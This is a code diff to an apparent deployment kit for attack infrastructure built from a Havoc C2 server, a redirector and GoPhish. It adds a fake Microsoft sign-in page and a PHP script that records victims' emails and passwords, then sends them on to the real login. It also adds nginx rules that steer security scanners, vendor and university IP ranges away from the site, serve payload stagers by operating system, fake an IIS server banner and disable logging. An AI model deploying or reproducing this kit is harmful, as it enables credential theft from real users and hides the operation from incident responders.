diff --git a/AWS/c2.yml b/AWS/c2.yml
index 621deff..837a144 100644
--- a/AWS/c2.yml
+++ b/AWS/c2.yml
@@ -166,21 +166,29 @@
c2_vpc_id: "{{ vpc_result.vpc.id }}" # Store for cleanup reference
when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false))
- # Create security group
- - name: Create security group
+ - name: Create security group for C2 server
amazon.aws.ec2_security_group:
name: "{{ c2_name }}-sg"
- description: "Security group for C2 {{ c2_name }}"
+ description: "Secured C2 server {{ c2_name }}"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_c2_region }}"
rules:
+ # Management access only from operator IP
+ - proto: tcp
+ ports: 22
+ cidr_ip: "{{ operator_ip }}/32"
+ - proto: tcp
+ ports: "{{ havoc_teamserver_port | default(40056) }}"
+ cidr_ip: "{{ operator_ip }}/32"
+ # Allow traffic only from redirector
- proto: tcp
ports:
- - 22
- - "{{ havoc_teamserver_port | default(40056) }}"
+ - 80
+ - 443
- "{{ havoc_http_port | default(8080) }}"
+ - "{{ havoc_https_port | default(443) }}"
- "{{ gophish_admin_port }}"
- cidr_ip: 0.0.0.0/0
+ cidr_ip: "{{ redirector_ip }}/32"
rules_egress:
- proto: -1
cidr_ip: 0.0.0.0/0
diff --git a/AWS/redirector.yml b/AWS/redirector.yml
index a4eacc4..5a1936a 100644
--- a/AWS/redirector.yml
+++ b/AWS/redirector.yml
@@ -170,17 +170,20 @@
redirector_vpc_id: "{{ vpc_result.vpc.id }}" # Store for cleanup reference
when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false))
- # Create security group
- - name: Create security group
+ - name: Create security group for redirector
amazon.aws.ec2_security_group:
name: "{{ redirector_name }}-sg"
description: "Security group for redirector {{ redirector_name }}"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_redirector_region }}"
rules:
+ # Management access only from operator IP
+ - proto: tcp
+ ports: 22
+ cidr_ip: "{{ operator_ip }}/32"
+ # Public-facing services are open to internet
- proto: tcp
ports:
- - 22
- 80
- 443
- "{{ effective_listen_port }}"
diff --git a/deploy.py b/deploy.py
index ba6457f..3054d03 100755
--- a/deploy.py
+++ b/deploy.py
@@ -312,6 +312,19 @@ def gather_common_parameters():
if not flokinet_ips:
return None
config.update(flokinet_ips)
+
+ try:
+ import requests
+ suggested_ip = requests.get('https://api.ipify.org').text.strip()
+ operator_ip = input(f"\nEnter your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
+ # Validate IP format
+ if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', operator_ip):
+ print(f"{COLORS['RED']}Invalid IP format. Using 0.0.0.0/0 (not recommended){COLORS['RESET']}")
+ operator_ip = "0.0.0.0/0"
+ config['operator_ip'] = operator_ip
+ except:
+ operator_ip = input(f"\nEnter your public IP for secure access (x.x.x.x): ")
+ config['operator_ip'] = operator_ip
# Ask if user wants multi-region or cross-provider deployment
multi_region = input(f"\n{COLORS['YELLOW']}Do you want to deploy redirector and C2 in different regions? (y/n) [default: n]: {COLORS['RESET']}").lower() == 'y'
diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml
index 8c4d83f..f3b21b4 100644
--- a/tasks/configure_c2.yml
+++ b/tasks/configure_c2.yml
@@ -290,6 +290,9 @@
c2_ip: "{{ ansible_host }}"
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
+- name: Include traffic flow configuration
+ include_tasks: "../tasks/traffic_flow_config.yml"
+
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml
index 9c548b8..c416da2 100644
--- a/tasks/configure_redirector.yml
+++ b/tasks/configure_redirector.yml
@@ -129,6 +129,9 @@
owner: www-data
group: www-data
+- name: Include traffic flow configuration
+ include_tasks: "../tasks/traffic_flow_config.yml"
+
# Run port randomization if enabled
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
@@ -167,6 +170,45 @@
owner: root
group: root
+- name: Create credential harvesting directory
+ file:
+ path: /var/www/login
+ state: directory
+ mode: '0755'
+ owner: www-data
+ group: www-data
+
+# Create secure storage outside web root
+- name: Create secure credential storage
+ file:
+ path: /var/private/creds
+ state: directory
+ mode: '0700' # Only owner access
+ owner: www-data
+ group: www-data
+
+- name: Deploy credential harvesting page
+ template:
+ src: "../templates/fake-login.html.j2"
+ dest: "/var/www/login/auth.html"
+ mode: '0644'
+ owner: www-data
+ group: www-data
+
+- name: Deploy credential capture script
+ template:
+ src: "../templates/capture.php.j2"
+ dest: "/var/www/login/process.php"
+ mode: '0644'
+ owner: www-data
+ group: www-data
+
+- name: Install PHP for credential processing
+ apt:
+ name: php-fpm
+ state: present
+ update_cache: yes
+
- name: Start and enable shell handler service
systemd:
name: shell-handler
diff --git a/tasks/security_hardening.yml b/tasks/security_hardening.yml
index 0887da2..6e1e071 100644
--- a/tasks/security_hardening.yml
+++ b/tasks/security_hardening.yml
@@ -32,19 +32,67 @@
direction: incoming
ignore_errors: yes
-- name: Allow required ports through firewall
- ufw:
- rule: allow
- port: "{{ item }}"
- proto: tcp
- loop:
- - "22"
- - "80"
- - "443"
- - "{{ havoc_teamserver_port | default('40056') }}"
- - "{{ havoc_http_port | default('8080') }}"
- - "{{ gophish_admin_port | default('3333') }}"
- ignore_errors: yes
+- name: Configure UFW for C2 server
+ block:
+ - name: Reset UFW to default deny
+ ufw:
+ state: enabled
+ policy: deny
+ direction: incoming
+
+ - name: Allow SSH only from operator IP
+ ufw:
+ rule: allow
+ port: "22"
+ src: "{{ operator_ip }}"
+ proto: tcp
+
+ - name: Allow Havoc Teamserver only from operator IP
+ ufw:
+ rule: allow
+ port: "{{ havoc_teamserver_port | default('40056') }}"
+ src: "{{ operator_ip }}"
+ proto: tcp
+
+ - name: Allow traffic only from redirector
+ ufw:
+ rule: allow
+ port: "{{ item }}"
+ src: "{{ redirector_ip }}"
+ proto: tcp
+ loop:
+ - "80"
+ - "443"
+ - "{{ havoc_http_port | default('8080') }}"
+ - "{{ havoc_https_port | default('443') }}"
+ - "{{ gophish_admin_port }}"
+ when: "'c2servers' in group_names"
+
+- name: Configure UFW for redirector
+ block:
+ - name: Reset UFW to default deny
+ ufw:
+ state: enabled
+ policy: deny
+ direction: incoming
+
+ - name: Allow SSH only from operator IP
+ ufw:
+ rule: allow
+ port: "22"
+ src: "{{ operator_ip }}"
+ proto: tcp
+
+ - name: Allow public services from anywhere
+ ufw:
+ rule: allow
+ port: "{{ item }}"
+ proto: tcp
+ loop:
+ - "80"
+ - "443"
+ - "{{ shell_handler_port | default('4444') }}"
+ when: "'redirectors' in group_names"
- name: Set up fail2ban SSH jail
copy:
diff --git a/tasks/traffic_flow_config.yml b/tasks/traffic_flow_config.yml
new file mode 100644
index 0000000..ba8cb96
--- /dev/null
+++ b/tasks/traffic_flow_config.yml
@@ -0,0 +1,94 @@
+---
+# Common task for configuring proper traffic flow between infrastructure components
+
+- name: Determine server role in infrastructure
+ set_fact:
+ server_role: >-
+ {% if inventory_hostname in groups['c2servers'] | default([]) %}c2{%
+ elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{%
+ elif inventory_hostname in groups['logservers'] | default([]) %}logserver{%
+ elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{%
+ elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{%
+ elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{%
+ else %}unknown{% endif %}
+
+- name: Configure C2 server routing
+ block:
+ - name: Allow SSH only from operator IP
+ ufw:
+ rule: allow
+ port: 22
+ src: "{{ operator_ip }}"
+ proto: tcp
+
+ - name: Allow teamserver access only from operator IP
+ ufw:
+ rule: allow
+ port: "{{ havoc_teamserver_port | default('40056') }}"
+ src: "{{ operator_ip }}"
+ proto: tcp
+
+ - name: Configure required flows for each connected component
+ ufw:
+ rule: allow
+ port: "{{ item.port }}"
+ src: "{{ item.ip }}"
+ proto: tcp
+ loop:
+ - { ip: "{{ redirector_ip }}", port: "80" }
+ - { ip: "{{ redirector_ip }}", port: "443" }
+ - { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" }
+ - { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('443') }}" }
+ - { ip: "{{ logserver_ip | default(omit) }}", port: "5144" } # Logstash port
+ - { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" } # Payload sync port
+ when: item.ip != omit
+
+ when: server_role == 'c2'
+
+- name: Configure redirector routing
+ block:
+ - name: Allow SSH only from operator IP
+ ufw:
+ rule: allow
+ port: 22
+ src: "{{ operator_ip }}"
+ proto: tcp
+
+ - name: Allow public web access
+ ufw:
+ rule: allow
+ port: "{{ item }}"
+ proto: tcp
+ loop:
+ - 80
+ - 443
+
+ - name: Allow shell handler access
+ ufw:
+ rule: allow
+ port: "{{ shell_handler_port | default('4444') }}"
+ proto: tcp
+ when: server_role == 'redirector'
+
+- name: Configure logging server routing
+ block:
+ - name: Allow SSH only from operator IP
+ ufw:
+ rule: allow
+ port: 22
+ src: "{{ operator_ip }}"
+ proto: tcp
+
+ - name: Allow log ingestion from infrastructure
+ ufw:
+ rule: allow
+ port: 5144 # Logstash port
+ src: "{{ item }}"
+ proto: tcp
+ loop:
+ - "{{ c2_ip }}"
+ - "{{ redirector_ip }}"
+ - "{{ payloadserver_ip | default(omit) }}"
+ - "{{ phishingserver_ip | default(omit) }}"
+ when: item != omit
+ when: server_role == 'logserver'
\ No newline at end of file
diff --git a/templates/capture.php.j2 b/templates/capture.php.j2
new file mode 100644
index 0000000..d8ca923
--- /dev/null
+++ b/templates/capture.php.j2
@@ -0,0 +1,27 @@
+ date('Y-m-d H:i:s'),
+ 'ip' => $_SERVER['REMOTE_ADDR'],
+ 'user_agent' => $_SERVER['HTTP_USER_AGENT'],
+ 'email' => $_POST['email'] ?? '',
+ 'password' => $_POST['password'] ?? '',
+ 'headers' => getallheaders()
+ ];
+
+
+ $log_file = '/var/private/creds/creds.enc';
+ $encrypted = openssl_encrypt(
+ json_encode($data),
+ 'AES-256-CBC',
+ '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
+ 0,
+ str_repeat("\0", 16)
+ );
+ file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
+
+
+ header('Location: https://login.microsoftonline.com/common/oauth2/);
+ exit;
+}
+?>
\ No newline at end of file
diff --git a/templates/fake-login.html.j2 b/templates/fake-login.html.j2
new file mode 100644
index 0000000..dae3521
--- /dev/null
+++ b/templates/fake-login.html.j2
@@ -0,0 +1,106 @@
+
+
+
+ Sign in to your account
+
+
+
+
+
+
+

+
+
Sign in
+
+
+
+
+
\ No newline at end of file
diff --git a/templates/redirector-site-with-tracker.conf.j2 b/templates/redirector-site-with-tracker.conf.j2
index 4d8a323..c591e04 100644
--- a/templates/redirector-site-with-tracker.conf.j2
+++ b/templates/redirector-site-with-tracker.conf.j2
@@ -1,3 +1,26 @@
+# Advanced Redirector Configuration with IR Evasion
+# templates/redirector-site.conf.j2
+
+# Detect security tools by user agent
+map $http_user_agent $is_security_tool {
+ default 0;
+ # Common security tools, scanners, and IR user agents
+ ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
+}
+
+map $http_user_agent $is_mobile {
+ default 0;
+ ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1;
+}
+
+map $remote_addr $is_known_security_ip {
+ default 0;
+ # Example security vendor IP ranges - replace with actual ones
+ "192.168.1.0/24" 1; # Example placeholder
+ "10.0.0.0/8" 1; # Example placeholder
+}
+
+# HTTP to HTTPS redirect
server {
listen 80;
listen [::]:80;
@@ -7,6 +30,7 @@ server {
return 301 https://$host$request_uri;
}
+# Main HTTPS server
server {
listen 443 ssl;
listen [::]:443 ssl;
@@ -25,22 +49,46 @@ server {
root /var/www/html;
index index.html;
- # Primary location for legitimate website traffic
- location / {
- try_files $uri $uri/ =404;
+ # Advanced IR Evasion
+ # 1. Redirect security tools to benign sites
+ if ($is_security_tool) {
+ return 302 https://www.google.com;
}
- # Only expose beacon callback paths - NOT dashboard or admin functions
+ # 2. Redirect known security IPs
+ if ($is_known_security_ip) {
+ return 302 https://www.microsoft.com;
+ }
+
+ # 3. Direct mobile users to credential capture
+ if ($is_mobile) {
+ return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html;
+ }
+
+ # 4. Add timing delay for suspicious connections
+ if ($http_referer ~* (security|scan)) {
+ set $delay_response 1;
+ }
+
+ # Valid C2 beacon routing - CRITICAL PATHS
location ~ ^/api/beacon/ {
+ # Only valid beacons proceed to C2
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
+ proxy_ssl_verify off;
+
+ # Implement artificial delay for suspicious connections
+ if ($delay_response) {
+ limit_rate 1k; # Slow down response
+ }
}
# Secure stager delivery routes
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+ # Only valid requests that passed the earlier checks
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
@@ -50,6 +98,7 @@ server {
# Content access for payload delivery
location ~ ^/content/(windows|linux)/(.+)$ {
+ # Specific valid content paths
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
@@ -57,6 +106,18 @@ server {
proxy_set_header X-Real-IP $remote_addr;
}
+ # Redirect specific payload formats based on client OS
+ location ~ ^/download/payload$ {
+ if ($http_user_agent ~* windows) {
+ return 302 /content/windows/$win_exe;
+ }
+ if ($http_user_agent ~* linux) {
+ return 302 /content/linux/$linux_bin;
+ }
+ # Default fallback for unknown OS
+ return 302 /;
+ }
+
# Secure payload delivery path for synced payloads
location /resources/ {
alias /var/www/resources/;
@@ -69,6 +130,29 @@ server {
access_log off;
}
+ # Credential harvesting login page
+ location ~ ^/login/auth\.html$ {
+ root /var/www;
+ try_files $uri =404;
+ add_header X-Frame-Options "DENY" always;
+ }
+
+ # Protect credential processing script
+ location ~ ^/login/process\.php$ {
+ # Allow POST only
+ limit_except POST { deny all; }
+
+ # Process the PHP file
+ include snippets/fastcgi-php.conf;
+ fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+ }
+
+ # Block direct access to sensitive files
+ location ~ \.(enc|key|pem|log)$ {
+ deny all;
+ return 404;
+ }
+
{% if setup_integrated_tracker | default(false) | bool %}
# Email tracker pixel only (not exposing dashboard)
location ~ ^/px/(.+)\.png$ {
@@ -84,6 +168,19 @@ server {
expires -1;
}
{% endif %}
+
+ # Primary location for legitimate website traffic
+ # This acts as a catch-all for non-matching URIs
+ location / {
+ # Check if this is potentially an attempt to access a non-existent payload
+ if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
+ # If invalid payload URI, redirect to real target
+ return 302 https://www.{{ domain }};
+ }
+
+ # Otherwise serve legitimate content
+ try_files $uri $uri/ =404;
+ }
# Security headers
add_header X-Content-Type-Options "nosniff" always;
@@ -92,6 +189,9 @@ server {
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
+ # Make server appear as IIS
+ add_header Server "Microsoft-IIS/10.0";
+
# Disable logging
{% if zero_logs | default(true) | bool %}
access_log off;
@@ -109,6 +209,7 @@ server {
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
+ # Redirect unknown hosts to legitimate sites
return 301 https://www.google.com;
access_log off;
diff --git a/templates/redirector-site.conf.j2 b/templates/redirector-site.conf.j2
index 3303aae..c7d7b9f 100644
--- a/templates/redirector-site.conf.j2
+++ b/templates/redirector-site.conf.j2
@@ -1,3 +1,116 @@
+# Advanced Redirector Configuration with IR Evasion
+# templates/redirector-site.conf.j2
+
+# Detect security tools by user agent
+map $http_user_agent $is_security_tool {
+ default 0;
+ # Common security tools, scanners, and IR user agents
+ ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
+}
+
+map $http_user_agent $is_mobile {
+ default 0;
+ ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1;
+}
+
+map $remote_addr $is_known_security_ip {
+ default 0;
+
+ # VirusTotal
+ "64.71.0.0/16" 1;
+ "74.125.0.0/16" 1; # Google Cloud (VirusTotal)
+ "216.239.32.0/19" 1; # Google
+
+ # Recorded Future
+ "104.196.0.0/14" 1; # Google Cloud
+ "35.184.0.0/13" 1; # Google Cloud
+
+ # Censys
+ "198.108.66.0/23" 1;
+ "162.142.125.0/24" 1;
+ "167.248.133.0/24" 1;
+
+ # Shodan
+ "66.240.192.0/18" 1;
+ "71.6.135.0/24" 1;
+ "71.6.167.0/24" 1;
+ "82.221.105.6/32" 1;
+ "82.221.105.7/32" 1;
+ "93.120.27.0/24" 1;
+
+ # Symantec/Broadcom
+ "205.128.0.0/14" 1;
+ "65.165.0.0/16" 1;
+
+ # McAfee/Trellix
+ "161.69.0.0/16" 1;
+ "192.225.158.0/24" 1;
+
+ # CrowdStrike
+ "45.60.0.0/16" 1;
+ "199.66.200.0/24" 1;
+
+ # SentinelOne
+ "104.36.227.0/24" 1;
+ "104.196.0.0/14" 1;
+
+ # Microsoft Defender
+ "13.64.0.0/11" 1; # Azure (Microsoft Defender)
+ "13.104.0.0/14" 1; # Microsoft
+ "40.74.0.0/15" 1; # Microsoft
+ "51.4.0.0/15" 1; # Microsoft
+ "104.40.0.0/13" 1; # Microsoft
+ "104.208.0.0/13" 1; # Azure
+
+ # Palo Alto
+ "96.88.0.0/16" 1;
+ "173.247.96.0/19" 1;
+ "216.115.73.0/24" 1;
+
+ # Qualys
+ "64.39.96.0/20" 1;
+ "64.41.200.0/24" 1;
+ "92.118.160.0/24" 1;
+
+ # Rapid7
+ "5.63.0.0/16" 1;
+ "38.107.201.0/24" 1;
+ "45.60.0.0/16" 1;
+ "71.6.0.0/16" 1;
+ "206.225.0.0/16" 1;
+
+ # Tenable/Nessus
+ "23.20.0.0/14" 1; # AWS (Tenable Cloud)
+ "34.192.0.0/12" 1; # AWS
+ "54.144.0.0/12" 1; # AWS
+ "162.219.56.0/21" 1;
+ "172.104.0.0/16" 1; # Linode (common Nessus hosting)
+
+ # FireEye/Mandiant
+ "23.98.64.0/18" 1;
+ "66.114.168.0/22" 1;
+ "96.43.144.0/20" 1;
+ "173.231.184.0/22" 1;
+
+ # Akamai
+ "23.0.0.0/12" 1;
+ "23.32.0.0/11" 1;
+ "104.64.0.0/10" 1;
+
+ # Cloudflare
+ "104.16.0.0/12" 1;
+ "173.245.48.0/20" 1;
+
+ # Academic Research Networks
+ "128.32.0.0/16" 1; # UC Berkeley
+ "128.59.0.0/16" 1; # Columbia University
+ "128.112.0.0/16" 1; # Princeton University
+ "128.138.0.0/16" 1; # University of Colorado
+ "128.197.0.0/16" 1; # Boston University
+ "146.186.0.0/16" 1; # Carnegie Mellon
+}
+
+# HTTP to HTTPS redirect
server {
listen 80;
listen [::]:80;
@@ -7,6 +120,7 @@ server {
return 301 https://$host$request_uri;
}
+# Main HTTPS server
server {
listen 443 ssl;
listen [::]:443 ssl;
@@ -25,22 +139,46 @@ server {
root /var/www/html;
index index.html;
- # Primary location for legitimate website traffic
- location / {
- try_files $uri $uri/ =404;
+ # Advanced IR Evasion
+ # 1. Redirect security tools to benign sites
+ if ($is_security_tool) {
+ return 302 https://www.google.com;
}
- # Only expose beacon callback paths - NOT dashboard or admin functions
+ # 2. Redirect known security IPs
+ if ($is_known_security_ip) {
+ return 302 https://www.microsoft.com;
+ }
+
+ # 3. Direct mobile users to credential capture
+ if ($is_mobile) {
+ return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html;
+ }
+
+ # 4. Add timing delay for suspicious connections
+ if ($http_referer ~* (security|scan)) {
+ set $delay_response 1;
+ }
+
+ # Valid C2 beacon routing - CRITICAL PATHS
location ~ ^/api/beacon/ {
+ # Only valid beacons proceed to C2
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
+ proxy_ssl_verify off;
+
+ # Implement artificial delay for suspicious connections
+ if ($delay_response) {
+ limit_rate 1k; # Slow down response
+ }
}
# Secure stager delivery routes
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+ # Only valid requests that passed the earlier checks
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
@@ -50,6 +188,7 @@ server {
# Content access for payload delivery
location ~ ^/content/(windows|linux)/(.+)$ {
+ # Specific valid content paths
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
@@ -57,6 +196,18 @@ server {
proxy_set_header X-Real-IP $remote_addr;
}
+ # Redirect specific payload formats based on client OS
+ location ~ ^/download/payload$ {
+ if ($http_user_agent ~* windows) {
+ return 302 /content/windows/$win_exe;
+ }
+ if ($http_user_agent ~* linux) {
+ return 302 /content/linux/$linux_bin;
+ }
+ # Default fallback for unknown OS
+ return 302 /;
+ }
+
# Secure payload delivery path for synced payloads
location /resources/ {
alias /var/www/resources/;
@@ -69,6 +220,58 @@ server {
access_log off;
}
+ # Credential harvesting login page
+ location ~ ^/login/auth\.html$ {
+ root /var/www;
+ try_files $uri =404;
+ add_header X-Frame-Options "DENY" always;
+ }
+
+ # Protect credential processing script
+ location ~ ^/login/process\.php$ {
+ # Allow POST only
+ limit_except POST { deny all; }
+
+ # Process the PHP file
+ include snippets/fastcgi-php.conf;
+ fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+ }
+
+ # Block direct access to sensitive files
+ location ~ \.(enc|key|pem|log)$ {
+ deny all;
+ return 404;
+ }
+
+ {% if setup_integrated_tracker | default(false) | bool %}
+ # Email tracker pixel only (not exposing dashboard)
+ location ~ ^/px/(.+)\.png$ {
+ proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
+ proxy_http_version 1.1;
+ proxy_set_header Host {{ tracker_domain }};
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header X-Real-IP $remote_addr;
+ proxy_set_header X-Forwarded-Proto https;
+
+ # Cache control for tracking pixels
+ add_header Cache-Control "no-store, no-cache, must-revalidate" always;
+ expires -1;
+ }
+ {% endif %}
+
+ # Primary location for legitimate website traffic
+ # This acts as a catch-all for non-matching URIs
+ location / {
+ # Check if this is potentially an attempt to access a non-existent payload
+ if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
+ # If invalid payload URI, redirect to real target
+ return 302 https://www.{{ domain }};
+ }
+
+ # Otherwise serve legitimate content
+ try_files $uri $uri/ =404;
+ }
+
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
@@ -76,6 +279,9 @@ server {
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
+ # Make server appear as IIS
+ add_header Server "Microsoft-IIS/10.0";
+
# Disable logging
{% if zero_logs | default(true) | bool %}
access_log off;
@@ -93,6 +299,7 @@ server {
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
+ # Redirect unknown hosts to legitimate sites
return 301 https://www.google.com;
access_log off;